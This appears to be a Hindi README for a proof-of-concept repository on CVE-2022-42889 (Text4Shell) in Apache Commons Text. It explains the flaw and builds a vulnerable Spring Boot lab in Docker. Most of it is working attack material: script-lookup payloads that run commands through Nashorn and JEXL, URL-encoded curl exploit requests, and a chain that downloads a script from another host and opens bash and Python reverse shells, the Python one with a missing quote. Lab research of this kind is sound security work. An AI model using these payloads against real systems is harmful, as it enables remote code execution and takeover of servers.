
CVE-2022-42889 उर्फ Text4Shell अनुसंधान एवं PoC
हाल ही में खोजी गई कमजोरी के लिए PoC, @pwntester द्वारा:
जैसा कि https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ में उल्लेख किया गया है:
यह कमजोरी StringSubstitutor interpolator ऑब्जेक्ट में मौजूद है। StringSubstitutor.createInterpolator() विधि द्वारा एक इंटरपोलेटर बनाया जाता है और यह StringLookupFactory में परिभाषित स्ट्रिंग लुकअप की अनुमति देता है। इसका उपयोग एक स्ट्रिंग "${prefix:name}" पास करके किया जा सकता है, जहाँ prefix उपरोक्त लुकअप है। "script", "dns", या "url" लुकअप का उपयोग करके, एक तैयार स्ट्रिंग इंटरपोलेटर ऑब्जेक्ट को पास होने पर मनमानी स्क्रिप्ट निष्पादित कर सकती है।
प्रभावित Apache Commons Text संस्करण 1.5 से 1.9 तक हैं। इसे संस्करण 1.10 में पैच किया गया है।
दूरस्थ रूप से शोषण करने के लिए, हमलावर द्वारा नियंत्रित इनपुट का उपयोग StringSubstitutor इंटरपोलेशन के लिए इनपुट के रूप में किया जाना चाहिए। विशेष रूप से, StringSubstitutor.replace() या StringSubstitutor.replaceIn() विधियों में
JDK 15 के बाद से Nashorn JavaScript इंजन को हटा दिया गया था: https://openjdk.org/jeps/372 लेकिन यदि तीसरे पक्ष की निर्भरताएँ जैसे JEXL शामिल हैं, तो Apache Commons Text में RCE हो सकता है (https://twitter.com/pwntester/status/1582321752566161409)
RCE प्राप्त करने के लिए इसका शोषण किया जा सकता है।
Nashorn इंजन:
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
यदि तीसरे पक्ष के JEXL का उपयोग कर रहे हैं:
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
इससे DNS लुकअप हो सकता है:
${dns:address|commons.apache.org}
यह निर्दिष्ट URL से कनेक्ट होता है और सामग्री लाने का प्रयास करता है:
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
टेम्पलेट https://start.spring.io/ पर आधारित
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
उल्लिखित विभिन्न हमले वैक्टरों का परीक्षण करने के लिए विभिन्न एंडपॉइंट प्रदान किए गए हैं।

curl http://localhost:8080/poc1


curl http://localhost:8080/poc2


curl http://localhost:8080/poc3

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

Nashorn का उपयोग करके:
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

JEXL का उपयोग करके:
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D


बस सरलता के लिए, मैं netcat लिसनर के लिए डिफ़ॉल्ट Docker इंटरफ़ेस का उपयोग कर रहा हूँ। चारों ओर देखने पर, मैं bash और python रिवर्स शेल वाले इन पेलोड्स के साथ आया जो ठीक काम करते हैं:
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
जहाँ rev.sh को इन संभावित सामग्रियों के साथ सर्व किया जाता है:
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

